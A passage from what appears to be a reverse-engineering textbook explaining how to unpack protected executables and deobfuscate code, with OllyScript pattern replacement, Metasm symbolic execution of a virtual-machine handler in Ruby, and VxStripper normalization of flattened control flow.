is identifi ed as the OEP of the protected program. At the end of the analysis, 

data sections are written into the raw fi le in place of original data sections.

The same monitoring algorithm is applied for each translation block. The 

protection loader of the packed executable can have several deciphering layers. 

As soon as the last deciphered translation block has been reached, the only thing 
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to be done is to repair the target executable. In order to recover the PE (Portable 

Executable) structure of an unprotected executable, several tasks have to be car-

ried out: Set the original entry point, rebuild the imports and relocations tables, 

and consistency check the PE header. 

The method used by the unpacking engine in order to reconstruct the Import 

Address Table (IAT) and relocations is based on Win32 and native API hooking. 

During the unpacking process, all API calls are traced. A sorted table of API 

calls is initialized at load-time, by walking NT executive structures. 

Next, after process execution has resumed, each API call is traced. This table 

is updated regularly during the target process execution, and is used to dynami-

cally resolve API function names. Finally, after a dump of the target process 

memory space is completed, this table is used to fi x the IAT in the PE executable.

Thanks to the load and store TCG instructions instrumentation, you can 

dynamically extract the program’s relocation information, which can also be 

added to a new section of the executable.

For example, here is the (useful) information extracted during the unpacking 

stage of a program that displays a dialog box (function MessageBoxA):

[INFO] eip=0x00401000
[RELOC] value=0x00403000 va=0x00401003 
[RELOC] value=0x0040300f va=0x00401008 
[RELOC] value=0x00402008 va=0x00401010 
[APICALL] api_pc=0x77d8050b api_oep=0x77d8050b
          dll_name=C:\WINDOWS\system32\user32.dll 
          func_name=MessageBoxA 
          value=0x00402008 va=0x00401010

The relocation information consists of pairs (va, value), providing the vir-

tual address and the value to relocate, respectively. Note that for this packer, 

the prologue of the function MessageBoxA is not emulated by the protection. 

Otherwise, the external address that is effectively called (api_pc) is different 

from the entry point of the API function (api_oep).

Normalization

In most cases, after the unpacking stage, you are able to get (automatically) a binary 

stripped of its protection loader and without any rewritable code. Unfortunately, 

some obfuscation mechanisms (control-fl ow fl attening, VM–based obfuscation 

transformations, etc.) have to be handled now in order to fully understand the 

inner workings of a malware. 

A fi rst attempt to provide a solution to these problems has been implemented 

in VxStripper, through the use of the LLVM intermediate representation. Rather 

than try to work on the binary after its memory image has been dumped, the 

idea is to work on its intermediate representation and increase the amount of 

information (that has been dynamically collected) by embedding it in the LLVM 

module. Such a representation is more suitable for further analysis.
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The normalization module uses the output of previous analyses to generate 

the LLVM representation of translation blocks, to which several optimization 

transformations are applied. Examining this in more detail, during the execu-

tion of the target program, the LLVM back end of QEMU TCG outputs the 

LLVM representation of translated blocks. This LLVM code is linked with an 

initialization LLVM module (see Figure 5-4).

VIRTUAL CPU
(QEMU)

CLANG

INITIALIZATION MODULE

- System API
- Virtual CPU and Stack
- Load and Store Callbacks

INIT Module

TCG to LLVM LLVM Module Pass

MAIN

IMPORTS
INFORMATION

LOAD/STORE
MAP

INIT Code

Figure 5-4

This initialization module implements load and store callbacks, declares 

system API prototypes, and sets a virtual processor unit and its stack.

The normalization module uses the information dynamically collected during 

target program execution to resolve imports, process relocations, and retrieve 

data sections. Import table information is used to build LLVM API call instruc-

tions. The load/store memory map is used to apply relocations and inject data 

from the target program into the LLVM module.

When the LLVM module is rebuilt, some additional optimization passes are 

applied to its representation. The LLVM can next be compiled to the chosen 

architecture, by using one of available LLVM back ends. It can also be translated 

to C or C++ code.

First results show that standard optimization used in conjunction with the 

partial evaluation induced by the dynamic translation of target code to its 

LLVM representation are suffi cient to drastically reduce and simplify the code 

under analysis. 
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Final Thoughts

This section has discussed only four tools (and with a bias toward static analy-

sis). Alongside the Metasm and Miasm frameworks, we could have cited the 

Radare framework (http://www.radare.org/y/), for example. Rolf Rolles’s 

efforts to extend IDA with his idaocaml interpreter (https://code.google.

com/p/idaocaml/) merit attention as well. There are plenty of others that we 

did not mention or only briefl y mentioned here, and we encourage you to try 

them for yourself.

To put these tools into perspective, although IDA is a good disassembler, it 

cannot help much when it comes to dealing with obfuscated code. The Metasm 

and Miasm frameworks go a step further, offering more control, an IR to play 

with, and so on. Tools such as VxStripper go even further. You can probably 

feel it—there is an arms race going on. A huge amount of effort is put into the 

development of obfuscators, so our tools have to evolve as well.

As a reverse engineer, developing tools is an investment you make in order to 

fulfi ll your objectives; and you expect some sort of return on investment from 

it. Most advanced tools can take weeks if not months to build and require a lot 

of knowledge.

Practical Deobfuscation

Now you will see how some of the tools presented earlier can be used for 

practical deobfuscation. Again, there is no ambition of exhaustiveness in the 

following sections. Instead, the goal is to illustrate some common use cases of 

deobfuscation techniques.

Pattern-Based Deobfuscation

This may be the simplest and cheapest deobfuscation, operating at the syntactical 

level and matching known patterns. Don’t forget that early obfuscation patterns 

were mainly manually crafted and protected code (like some packer code) and 

exhibited only a limited set of patterns; listing them all was thus “acceptable.”

This deobfuscation technique comes down to a search and replace algorithm 

at the binary (opcode) level (eventually using wildcard searching). The main 

drawback is that it leaves you with a binary plagued with NOP instructions.

To illustrate this, take a look at the following old OllyDbg script. Packers are a 

classic example of software using obfuscation techniques (in that case to protect 

their stubs). For years OllyDbg has been (and probably still is) the favorite tool for 

unpacking, and many scripts were released to assist in that task. This (random) 

old script (2004, by loveboom, http://tuts4you.com/download.php?view.601) 

targets ASProtect 2.0x versions (a commonly used packer at that time). It takes 

http://www.radare.org/y
https://code.google.com/p/idaocaml
https://code.google.com/p/idaocaml
http://tuts4you.com/download.php?view.601
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advantage of the OllyScript’s REPL commands to search and replace a set of 

patterns. A REPL defi nition is as follows:

repl addr, find, repl, len
Replace find with repl starting att addr for len bytes.

All patterns are based on the same technique : an unconditional jump inside 

its successor instruction is used to confuse disassemblers. The diversity is slightly 

improved using instruction prefi xes (like REP or REPNE). The repl instruction is 

used to replace these patterns with NOPs:

repl eip,#2EEB01??#,#90909090#,1000 
repl eip,#65EB01??#,#90909090#,1000 
repl eip,#F2EB01??#,#90909090#,1000 
repl eip,#F3EB01??#,#90909090#,1000 
repl eip,#EB01??#,#909090#,1000 
repl eip,#26EB02????#,#9090909090#,1000 
repl eip,#3EEB02????#,#9090909090#,1000

Here we only operate at the syntactic level. Considering a target with a lim-

ited set of patterns, this deobfuscation technique is trivial, however effi cient:

 ■ Application cost is limited if not negligible. 

 ■ Development cost is also almost null.

Of course, as with virus signatures and AV engines, polymorphism and 

diversity make it useless. An equivalent script could have been developed using 

IDA’s scripting capabilities. That’s typically the kind of script you can create 

when analyzing trivially obfuscated malware and/or packers, when speed of 

analysis has priority.

Program-Analysis-Based Deobfuscation

Now consider the following obfuscated code sample (this is only a very small 

extract; obfuscated code continues like this for thousands of instructions):

.text:00405900  loc_405900:

.text:00405900      add edx, 67E37DA7h

.text:00405906      push    esi

.text:00405907      mov esi, 0D0B763Ah

.text:0040590C      push    eax

.text:0040590D      mov eax, 15983FC8h

.text:00405912      neg eax

.text:00405914      inc eax

.text:00405915      inc eax

.text:00405916      jmp loc_4082AD

.text:004082AD  loc_4082AD:

.text:004082AD      not eax

.text:004082AF      and eax, 1D48516Ch

.text:004082B4      sub eax, 0ACE1B37Ah
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.text:004082B9      xor esi, eax

.text:004082BB      pop eax

.text:004082BC      xor edx, esi

.text:004082BE      pop esi

.text:004082BF      and ecx, edx

.text:004082C1  jmp loc_407C54

You likely recognize, from the fi rst sections of this chapter, some of the obfus-

cation techniques used here, especially constant unfolding. Please also note 

that unconditional jumps are inserted to split code into basic blocks that are 

then distributed (randomly reordered) across the binary. There is no obvious 

pattern, at least none you could possibly and effectively match at the syntactical 

level using signatures.

You need to step up to the semantical level. Based on the output of a disas-

sember, you could start working on the control fl ow, merging the basic blocks 

405900h and 4082ADh. Then, you could work on the data fl ow, considering the 

two instructions:

.text:0040590D    mov eax, 15983FC8h

.text:00405912    neg eax

Based on the semantics of these instructions, you know that the EAX register 

is fi rst assigned with a constant value and then negged. You could precompute 

the NEG instruction and rewrite this in a simpler form, by assigning EAX with 

the negged value:

.text:0040590D    mov eax, EA67C038h

Rewriting programs in a simpler form, precomputing values that do not 

depend on the program’s input, removing useless code—that is program opti-

mization, and compilers have done that almost since their creation. You can 

adapt and reuse these techniques for your own purposes, and an abundant 

body of literature is available on this topic. Some classical compiler optimiza-

tion techniques include the following:

 ■ Peephole optimization

 ■ Constant folding/propagation

 ■ Dead store elimination

 ■ Operation folding

 ■ Dead code elimination

 ■ Etc.

This approach is exactly what is proposed by the Optimice deobfuscation 

plugin for IDA. Some previous works, by Gazet and Guillot22 and by Josse,29 have 

also been presented, respectively as a Metasm plugin and a VxStripper plugin. 

The idea is to normalize the code in order to get a reduced/optimized/canonical 

form, which is simpler to analyze and closer to the original, unprotected, code.
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These attempts to provide deobfuscation frameworks/utilities are still far 

from perfect. In addition, not many tools are available to the average reverser to 

attack obfuscated programs (of course, some private advanced tools exist here 

and there). The future of deobfuscation will probably take the form of elaborated 

tools and analysis platforms based on formal IR. Rolf Rolles presented some of his 

results with his own framework written in OCaml34. Other popular frameworks 

that could be used include LLVM-based SecondWrite (Smithson et al., 200739), 

S2e/revgen (Chipounov, 20017), or BitBlaze (Song et al., 200840 and their works 

since). Efforts in deobfuscation will have to match those put into obfuscation.

Complex Analysis

This section discusses two of the most impactful obfuscation techniques: code 

virtualization and code fl attening. For these techniques, you clearly need to 

work at a semantic level.

Simple VM Implementations

There are mainly two forms of VM implementations. The most straightforward 

form is to develop a simple processor emulator. Algorithmically speaking, it 

would include the following steps:

 1. Loop:

 a. Fetch —Read the bytecode stream at the instruction pointer.

 b. Decode—Decode the instruction’s opcode and its operands.

 c. Execute—Call the appropriate opcode handler. 

 2. Update the instruction pointer or exit the loop.

In this confi guration, each instruction handler is responsible for updating 

the context of the VM. The context represents the underlying emulated archi-

tecture. It probably consists of a set registers, and eventually a memory area. 

Each handler implements a distinctive instruction of the emulated processor 

(one handler for the ADD, one for the SUB, etc.).

This form is often used by the simpler implementations. Handlers are totally 

independent of one another, and the instruction pointer is increased by the size 

of the instruction (except for instructions that directly modify it).

From an attacker’s point of view, this type of implementation is easily recogniz-

able. Following is a detailed look at the steps generally required to analyze a VM:

 1. Understand how an instruction is decoded from raw bytecode: which 

part encodes for the operation (handler number), which part encodes the 

operand(s), and so on.

 2. Deduct VM’s architecture from instructions’ operands: number of registers, 

memory layout, I/O interfaces, etc.
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 3. Undertake handler analysis. Once operand decoding is known, you can 

look at the way each handler manipulates the various operand(s) it pos-

sibly takes as argument(s). This step is the essence of VM analysis: Each 

handler is associated with its own semantics.

With all these pieces of knowledge, you can fi nally build a disassembler-like 

tool that enables you to disassemble the bytecode of the VM.

In 2006, Maximus published two great papers about VM reversing: “Reversing 

a simple virtual machine”32 and “Virtual machines re-building”33. One of the 

targets he used (HyperUnpackme2) was also covered in depth by Rolf Rolles the 

same year35. 

Although these are useful contributions from talented reversers, VM analy-

sis remains a somewhat manual and repetitive job: One has to develop a new 

disassembler for each new instance of VM. Moreover, protections authors have 

also reacted, hardening their implementations of VMs.

Advanced VM Implementations

More advanced VM implementations derive from the simple type but add 

important features to harden the implementations and make them more resil-

ient to analysis:

 ■ Loop unrolling—This classical compiler optimization technique favors 

the time (speed) aspect of a program’s space vs. time trade-off. It replaces 

the loop structure by the sequential invocations of the loop body (thus 

unrolled). Applied to a VM, each handler is made responsible for fetching 

and decoding its own operand(s), and then updates the context accordingly.

 ■ Code-fl attening—The VM’s main execution loop is fl attened. That means 

each handler is responsible for updating the instruction pointer (pointer 

on the bytecode). Actually, code-fl attening and VM-based obfuscation are 

basically the same thing. Code-fl attening only virtualizes/retargets the 

control fl ow of the protected code, whereas virtual-machine obfuscation 

virtualizes/retargets both the control fl ow and the data fl ow. You can use 

almost the same algorithms to follow a code-fl atten dispatcher’s context 

and a VM context.

 ■ Bytecode encoding/encryption—Each invocation of the VM depends on 

an encryption key that is passed to the VM as part of its context initializa-

tion. Each handler updates that key, resulting in a turning key. The han-

dlers depend on the turning key to decode their operands from encoded 

bytecode. An attacker cannot start analyzing the VM at a chosen point, 

as the value of the key at this point would be unknown.

 ■ Code obfuscation—The native code of the VM is obfuscated using tech-

niques like the one described at the beginning of this chapter. Simply 

looking at a handler’s code provides no clue about its semantics.
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In summary, hardened implementations of VMs are more diffi cult to analyze 

statically by an order of magnitude. For each state of the VM, an attacker has to 

know at least the following mandatory values:

 ■ Bytecode pointer

 ■ Instruction pointer, the value of the next handler to be executed

 ■ Turning encryption key

VMs have reached a new level of complexity, thus necessitating a new level 

of attack. Handlers are more complex to analyze; moreover, they cannot be 

analyzed in isolation (one would not know the value of the encryption key, 

for example). An attacker wants to limit the manual analysis to a minimum. 

Nevertheless, a manual review is most often required to “capture” the general 

behavior of a VM and thus infer possible attacks on it.

One of the fi rst places of interest is the VM invocation stub—i.e., the transi-

tion between native (nonvirtualized) code and the VM/interpreter. The context 

initialization indicates the nature of the mapping between the native architecture 

and the VM’s architecture. It may be a carbon copy of native registers to the 

VM’s registers or something more complicated. Also, at this point, it is helpful 

to distinguish (as much as possible) between mandatory initialization variables 

(such as a VM’s key, handler number, or entry point) for which a numerical value 

is required, and extra variables that can be kept symbolic.

The second place of major interest is the VM’s dispatcher (if it exists). Most 

often there is a single point of dispatch that basically retrieves the next handler 

from a handlers table based on an index stored somewhere within the VM’s 

context. A question to answer is, what is the break condition of this execution 

loop? In this confi guration it is possible to consider the VM as a generalization 

of code-fl attening. Code-fl attening virtualizes only the control fl ow, whereas 

the VM virtualizes both the control and data fl ows. Moreover, code-fl attening 

most often only operates at single function level, whereas the VM operates at 

the program level. The other possibility is a distributed dispatch, whereby each 

handler is responsible for updating the VM’s instruction pointer and linking 

to the next handler.

These are general ideas; each reverser has his or her own tricks and abstrac-

tions of the problem.

Using Metasm

The approach we are going to explore is based on the Metasm framework. 

It relies on symbolic execution to make the VM (i.e., interpreter) process the 

bytecode (with respect to static data) and compute the residual program. On 

the one hand, there is a program (the interpreter); on the other hand, there is 

its static data (the bytecode); we will specialize the program with respect to 

its static data.
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Considering an obfuscated program and its data as a whole would be too 

complex, the solution is to break this complex problem into multiple, simpler 

sub-problems. Considering virtual machine’s instruction handlers level provides 

a far more appropriate granularity. From now on, we will consider instruction 

handlers as the interpreter’s smallest unit of semantics.

Based on that basic premise, you can apply the following pseudo algorithm:

 1. Capture the current context (VM’s bytecode, static parameters, known 

environment, etc.).

 2. Disassemble the current handler.

 3. Deobfuscate code, if necessary.

 4. Compute its semantics (i.e., transfer function).

 5. Generate output from solved semantics.

 6. Compute next state (i.e., apply the transfer function to the current context).

 7. If the handler’s dispatcher doesn’t reach a break/exit condition, repeat 

from step 1.

Optionally, you may be able to regenerate native code from the transfer func-

tion computed at step 4. As expressed by Futamura21, given an interpreter of 

Linterpreted written in a given native language Lnative , it is possible to automatically 

compute a compiler from Linterpreted to Lnative.

This is suitable for the theoretical concepts. Now suppose that you face an 

instance of a VM. Where do you start? Let’s take a practical example.

The following script makes use of Metasm to compile and then disassemble 

what could be a handler from a VM. For the sake of simplicity, this example 

deals only with the VM’s part (thus, code is not obfuscated). The handler’s code 

is located in 10000000h, while a data section containing the handler’s bytecode 

is located in 1a000000h:

# encoding: ASCII-8BIT 

#!/usr/bin/env ruby 

require "metasm" 

include Metasm

$SPAWN_GUI = false

CODE_BASE_ADDR = 0x10000000

HTABLE_BASE_ADDR = 0x18000000

DATA_BASE_ADDR = 0x1A000000

INJECT_MAX_ITER = 0x20

NATIVE_REGS = [:eax, :edx, :ecx, :ebx, :esp, :ebp, :esi, :edi]

def display(bd)

  bd.each{|key,value| puts "  #{Expression[key]} => #{Expression[value]}"}

end
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# produce handler's x86 code

sc = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<EOS) 

lodsd

mov ecx, eax 

xor ecx, ebp 

movzx eax, cl

push eax 

mov eax, [edi+eax]

movzx edx, ch

mov edx, [edi+edx] 

xor eax, edx

pop edx 

mov [edi+edx], eax

lodsd xor ebp, 0x35ef6a14 

xor eax, ebp

jmp [#{HTABLE_BASE_ADDR}+eax*4] 

EOS 

handler = sc.encode_string

# data section hex 

data_section_hex = "\xA3\xCB\xDB\x5F\x60\xBD\x34\x6A"

# add a code section 

dasm = sc.init_disassembler 

dasm.add_section(EncodedData.new(handler), CODE_BASE_ADDR)

# add a data section

dasm.add_section(EncodedData.new(data_section_hex), DATA_BASE_ADDR)

# disassemble handler code

dasm.disassemble_fast_deep(CODE_BASE_ADDR)

The fi rst thing to do is automatically get the semantics of that handler. As men-

tioned previously, Metasm offers a method called code_binding that computes 

the function transfer (Metasm’s terminology is binding) of a set of instructions. 

Thus, you can write the following:

# compute handler's semantics 

bb = dasm.di_at(CODE_BASE_ADDR).block 

start_addr = bb.list.first.address 

end_addr = bb.list.last.address

puts "[+] from 0x#{start_addr.to_s(16)}, to 0x#{end_addr.to_s(16)}" 

binding = dasm.code_binding(start_addr, end_addr) 

display(binding)

The preceding produces the following output:

[+] from 0x10000000, to address 10000021 

  dword ptr [esp] => (dword ptr [esi]^ebp)&0ffh 

  dword ptr [edi+((dword ptr [esi]^ebp)&0ffh)] =>
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    dword ptr [edi+((dword ptr[esi]^ebp)&0ffh)] ^

    dword ptr [edi+(((dword ptr[esi]>>8)^(ebp>>8))&0ffh)]

  eax => (dword ptr [esi+4]^(ebp^35ef6a14h))&0ffffffffh 

  ecx => (dword ptr [esi]^ebp)&0ffffffffh 

  edx => (dword ptr [esi]^ebp)&0ffh 

  ebp => (ebp^35ef6a14h)&0ffffffffh 

  esi => (esi+8)&0ffffffffh

From both the assembly and the binding, you can say the following about 

the VM:

 ■ It seems to use a turning key store in EBP. (Note how it is used to decrypt 

the instruction’s operands from bytecode.)

 ■ Its context seems to be pointed to by EDI.

That’s a good start, but you are still far from the objective. You are still stuck 

at the assembly level, so let’s step back and consider the VM initialization, which 

we have identifi ed as follows:

pushad
pop [edi]
pop [edi+0x4]
pop [edi+0x8]
pop [edi+0xC]
pop [edi+0x10] 
pop [edi+0x14] 
pop [edi+0x18] 
pop [edi+0x1C]

First, native registers are pushed onto the stack, and then they are read from 

the stack into a memory area pointed to by EDI, which in turn is responsible for 

pointing at the VM’s context. This information enables you to create a mapping 

between the VM’s symbolic internals and assembly expression:

vm_symbolism = {
    :eax => :nhandler,
    :ebp => :vmkey,
    :esi => :bytecode_ptr,
    Indirection[[:edi], 4, nil] => :vm_edi,
    Indirection[[:edi, :+, 4], 4, nil] => :vm_esi,
    Indirection[[:edi, :+, 8], 4, nil] => :vm_ebp,
    Indirection[[:edi, :+, 0xC], 4, nil] => :vm_esp,
    Indirection[[:edi, :+, 0x10], 4, nil] => :vm_ebx,
    Indirection[[:edi, :+, 0x14], 4, nil] => :vm_edx,
    Indirection[[:edi, :+, 0x18], 4, nil] => :vm_ecx,
    Indirection[[:edi, :+, 0x1c], 4, nil] => :vm_eax,
}

This symbolism is injected into the binding (each occurrence of a left value 

is replaced by its associated right value). Expressions have a special method 

named bind that does exactly that. The following example fi rst defi nes a symbolic 
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expression: the addition of two terms, one of them being an indirection; and 

two symbols are involved, :a and :b. Next, symbol :a is associated (bound) 

with the value 1000h:

expr = Expression[[:a, 4], :+, :b] 
sym = {:a => 0x1000}

puts expr 
>> dword ptr [a]+b

puts expr.bind(sym)
>> dword ptr [1000h]+b

You can generalize this for each expression of the binding. This mapping is 

the key that enables abstracting VM’s code from its implementation level up to 

the VM semantics level. Moreover, a positive side effect of this step is often a 

signifi cant reduction of the binding’s complexity. The new binding is as follows:

[+] symbolic binding 

  dword ptr [esp] => (dword ptr [bytecode_ptr]^vmkey)&0ffh 

  dword ptr [edi+((dword ptr [bytecode_ptr]^vmkey)&0ffh)] => 

  dword ptr [edi+dword ptr [bytecode_ptr]^vmkey)&0ffh)]^ 

  dword ptr[edi+(((dword ptr [bytecode_ptr]>>8)^(vmkey>>8))&0ffh)]

  nhandler => (dword ptr [bytecode_ptr+4]^(vmkey^35ef6a14h))&0ffffffffh 

  vmkey => (vmkey^35ef6a14h)&0ffffffffh 

  bytecode_ptr => (bytecode_ptr+8)&0ffffffffh

We have made progress, but the encryption is still problematic and we 

cannot go further if the VM’s context at the execution time of this handler is 

unknown: bytecode pointer, turning key, and optionally the handler number 

are all required values. Assuming you know these values (you are at the VM’s 

entry point or you have dynamically traced the VM up to that point), you can 

defi ne a pseudo-context:

context = {
    :nhandler => 0x84,
    :vmkey => 0x5fdbd7b7,
    :bytecode_ptr => DATA_BASE_ADDR,
    :virt_eax => 0xffeeffee,
    :virt_ecx => 0,
    :virt_edx => 0x41414141,
    :virt_ebx => 1,
    :virt_edi => :virt_edi, 
}

Note that the context contains both symbolic and numerical values. For example, 

nhandler is defi ned as equal to 84h, while the VM’s register virt_edi is symbolic.

The context is then injected within the binding, as well as the symbolism 

defi ned previously. In practice that’s an iterative process, but let’s not get over-

loaded with implementation details. Expressions are progressively solved and 
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reduced with respect to all known values, which include the current context 

and the program’s data (i.e., the bytecode). At the end you have a solved bind-

ing, which actually represents the context of the VM after the execution of the 

handler. We call that step symbolic execution:

[+] binding solver

  [+] key: dword ptr [esp]

    => solved key: dword ptr [esp]

  [+] value: (dword ptr [bytecode_ptr]^vmkey)&0ffh

    [+] solved memory read at 0x1a000000, size 4

    [+] value 5fdbcba3h

     => solved value: 14h

  [+] key: dword ptr [edi+((dword ptr [bytecode_ptr]^vmkey)&0ffh)]

    [+] solved memory read at 0x1a000000, size 4

    [+] value 5fdbcba3h

    => solved key: virt_edx

  [+] value: dword ptr [edi+((dword ptr [bytecode_ptr]^vmkey)&0ffh)]^ 

        dword ptr [edi+(((dword ptr [bytecode_ptr]>>8)^(vmkey>>8))&0ffh)]

    [+] solved memory read at 0x1a000000, size 4

    [+] value 5fdbcba3h

    [+] solved memory read at 0x1a000000, size 4

    [+] value 5fdbcba3h

    => solved value: 0beafbeafh

  [+] key: nhandler

    => solved key: nhandler

  [+] value: (dword ptr [bytecode_ptr+4]^(vmkey^35ef6a14h))&0ffffffffh

    [+] solved memory read at 0x1a000004, size 4

    [+] value 6a34bd60h

    => solved value: 0c3h

  [+] key: vmkey

    => solved key: vmkey

    [+] value: (vmkey^35ef6a14h)&0ffffffffh

    => solved value: 6a34bda3h

  [+] key: bytecode_ptr

     => solved key: bytecode_ptr

    [+] value: (bytecode_ptr+8)&0ffffffffh

    => solved value: 1a000008h

[+] solved binding 

  virt_edx => 0beafbeafh 

  nhandler => 0c3h

  vmkey => 6a34bda3h 

  bytecode_ptr => 1a000008h
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The expression solver helps to compute the fi nal values of the fi rst handler’s 

binding: the next handler to be executed as well as the updated value of the 

turning key. Updating the context is a trivial operation: 

updated_context = context.update(solved_binding)

puts "\n[+] updated context" 
display(updated_context)

[+] updated context
  nhandler => 0c3h 
  vmkey => 6a34bda3h 
  bytecode_ptr => 1a000008h 
  virt_eax => 0ffeeffeeh 
  virt_ecx => 0 
  virt_edx => 0beafbeafh 
  virt_ebx => 1 
  virt_edi => virt_edi

You can repeat this process and walk through the whole control-fl ow graph of 

the VM. This is a quite appreciable result; nevertheless, pure numerical values 

somewhat hide the semantics of the handler. Moreover, one of the objectives is 

to regenerate native assembly code equivalent to the contextualized execution 

of the handler.

A trick we often use when analyzing a VM with Metasm is to proceed to a 

double symbolic execution for each handler: one with the full context (mainly 

numerical values, used to update the context) and another one with an almost 

purely symbolic context (used to extract the high-level semantics). The next code 

sample demonstrates the use of a symbolic context:

symbolic_context = { 

  :nhandler => 0x84,

  :vmkey => 0x5fdbd7b7,

  :bytecode_ptr => DATA_BASE_ADDR,

  :virt_eax => :virt_eax,

  :virt_ecx => :virt_ecx,

  :virt_edx => :virt_edx,

  :virt_ebx => :virt_ebx,

  :virt_edi => :virt_edi,

}

solved_symolic_binding = sym_exec(symbolic_context, 

                                  symbolic_binding, 

                                  vm_symbolism)

puts "\n[+] solved binding" display(solved_symbolic_binding) 

This time the output is as follows:

[+] binding solver

  [+] key: dword ptr [esp]

    => solved key: dword ptr [esp]
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  [+] value: (dword ptr [bytecode_ptr]^vmkey)&0ffh

    [+] solved memory read at 0x1a000000, size 4

    [+] value 5fdbcba3h

    => solved value: 14h

  [+] key: dword ptr [edi+((dword ptr [bytecode_ptr]^vmkey)&0ffh)]

    [+] solved memory read at 0x1a000000, size 4

    [+] value 5fdbcba3h

    => solved key: virt_edx

  [+] value: dword ptr [edi+((dword ptr [bytecode_ptr]^vmkey)&0ffh)]^ 

      dword ptr edi+(((dword ptr [bytecode_ptr]>>8)^(vmkey>>8))&0ffh)]

     [+] solved memory read at 0x1a000000, size 4

     [+] value 5fdbcba3h

     [+] solved memory read at 0x1a000000, size 4

     [+] value 5fdbcba3h

    => solved value: virt_edx^virt_eax

  [+] key: nhandler

    => solved key: nhandler

  [+] value: (dword ptr [bytecode_ptr+4]^(vmkey^35ef6a14h))&0ffffffffh

     [+] solved memory read at 0x1a000004, size 4

     [+] value 6a34bd60h

    => solved value: 0c3h

  [+] key: vmkey

    => solved key: vmkey

  [+] value: (vmkey^35ef6a14h)&0ffffffffh

    => solved value: 6a34bda3h

  [+] key: bytecode_ptr

    => solved key: bytecode_ptr

  [+] value: (bytecode_ptr+8)&0ffffffffh

    => solved value: 1a000008h

  [+] solved binding

    virt_edx => virt_edx^virt_eax

    nhandler => 0c3h 

    vmkey => 6a34bda3h 

    bytecode_ptr => 1a000008h

Finally, you can simply reject VM control stuff from the solved binding, leav-

ing you with the following:

vm_edx => vm_edx^vm_eax

From that fi nal result, native code regeneration is pretty straightforward. 

You iterate this process over the VM’s control-fl ow graph for each handler. As 

a general observation, when using this technique, a sensitive choice is when to 

keep symbolic values and when to reduce to numerical values. The fi rst option 
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favors the recovery of high-level semantics, while the second enables an easier 

VM’s control-fl ow recovery. At the end, it is also possible to further proceed the 

output. Imagine a VM that looks like a stack-based interpreter:

01: push vm_edx
02: add [esp], vm_eax
03: pop vm_edx

Using classic deobfuscation methods such as compiler optimizations would 

rewrite the preceding three lines as follows:

01: add vm_eax, vm_eax 

Please note that the bytecode itself could have been obfuscated.

Code-Flattening Deobfuscation

As previously stated, code-fl attening can be viewed as partial virtualization (only 

the control fl ow is virtualized). Thus, techniques described for VM analysis, and 

especially symbolic execution, can also be applied for fl attened code analysis.

There are still some diffi culties that are specifi c to this technique:

 ■ Code-fl attening transformation is most often applied at the function level 

and sometimes there may be more than one fl attened “node” in the same 

function. Overall that means there are multiple instances of the techniques; 

thus a tool has to be bulletproof and fully automatic.

 ■ Discerning between a function’s original code and added dispatcher’s code 

is diffi cult when code-fl attening implementation is robust (program and 

dispatcher data fl ows are fi rmly interleaved /interdependent).

 ■ Inverse transformation is not trivial to implement.

Using VxStripper

To illustrate the use of VxStripper on a simple “toy” example, consider the fol-

lowing program (which displays y = 22) after unpacking and reconstruction:

  ...... ! entrypoint:

  ...... !   push    ebp

  401001 !   mov     ebp, esp

  401003 !   sub     esp, 10h

  401006 !   mov     dword ptr [ebp-4], 0

  40100d !   mov     dword ptr [ebp-0ch], 2

  401014 !   mov     dword ptr [ebp-8], 0ah

  40101b !

  ...... ! loc_40101b:          

  ...... !   cmp     dword ptr [ebp-0ch], 6

  40101f !   jnl     loc_40108c

  401021 !   mov     eax, [ebp-0ch]

  401024 !   mov     [ebp-10h], eax

  401027 !   mov     ecx, [ebp-10h]

  40102a !   sub     ecx, 2
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  40102d !   mov     [ebp-10h], ecx

  401030 !   cmp     dword ptr [ebp-10h], 3

  401034 !   ja      loc_40108a

  401036 !   mov     edx, [ebp-10h]

  401039 !   jmp     dword ptr [edx*4+data_4010a4]

  401040     mov     dword ptr [ebp-4], 2

  401047     mov     dword ptr [ebp-0ch], 3

  40104e     jmp     loc_40108a

  401050     cmp     dword ptr [ebp-8], 0

  401054     jng     40105fh

  401056     mov     dword ptr [ebp-0ch], 4

  40105d     jmp     401066h

  40105f     mov     dword ptr [ebp-0ch], 6

  401066     jmp     loc_40108a

  401068     mov     eax, [ebp-4]

  40106b     add     eax, 2

  40106e     mov     [ebp-4], eax

  401071     mov     dword ptr [ebp-0ch], 5

  401078     jmp     loc_40108a

  40107a     mov     ecx, [ebp-8]

  40107d     sub     ecx, 1

  401080     mov     [ebp-8], ecx

  401083     mov     dword ptr [ebp-0ch], 3

  40108a !

  ...... ! loc_40108a:                     

  ...... !   jmp     loc_40101b

  40108c !

  ...... ! loc_40108c:                     

  ...... !   mov     edx, [ebp-4]

  40108f !   push    edx

  401090 !   push    strz_yd_402008

  401095 !   call    dword ptr [msvcrt.dll:printf]

  40109b !   add     esp, 8

  40109e !   xor     eax, eax

  4010a0 !   mov     esp, ebp

  4010a2 !   pop     ebp

  4010a3 !   ret    return 0;

The control-fl ow graph (CFG) of such a program is fl attened.

The normalization module’s execution produces (when you do not apply all 

optimizations) the following code:

  ...... !   push    eax

  4011f1 !   mov     dword ptr [esp-0ch], 0ah

  4011f9 !   mov     dword ptr [esp-8], 4

  401201 !   dec     dword ptr [esp-0ch]

  401205 !   add     dword ptr [esp-8], 2

  40120a !   dec     dword ptr [esp-0ch]

  40120e !   add     dword ptr [esp-8], 2

  401213 !   dec     dword ptr [esp-0ch]

  401217 !   add     dword ptr [esp-8], 2

  40121c !   dec     dword ptr [esp-0ch]

  401220 !   add     dword ptr [esp-8], 2
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  401225 !   dec     dword ptr [esp-0ch]

  401229 !   add     dword ptr [esp-8], 2

  40122e !   dec     dword ptr [esp-0ch]

  401232 !   add     dword ptr [esp-8], 2

  401237 !   dec     dword ptr [esp-0ch]

  40123b !   add     dword ptr [esp-8], 2

  401240 !   dec     dword ptr [esp-0ch]

  401244 !   add     dword ptr [esp-8], 2

  401249 !   dec     dword ptr [esp-0ch]

  40124d !   add     dword ptr [esp-8], 2

  401252 !   dec     dword ptr [esp-0ch]

  401256 !   mov     eax, [esp-8]

  40125a !   mov     [esp-18h], eax

  40125e !   mov     dword ptr [esp-1ch], strz_yd_402010

  401266 !   mov     ebp, esp

  401268 !   lea     eax, [esp-1ch]

  40126c !   mov     esp, eax

  40126e !   call    crtdll.dll:printf_4012d8

  401273 !   mov     esp, ebp

  401275 !   mov     ebp, esp

  401277 !   lea     eax, [esp+8]

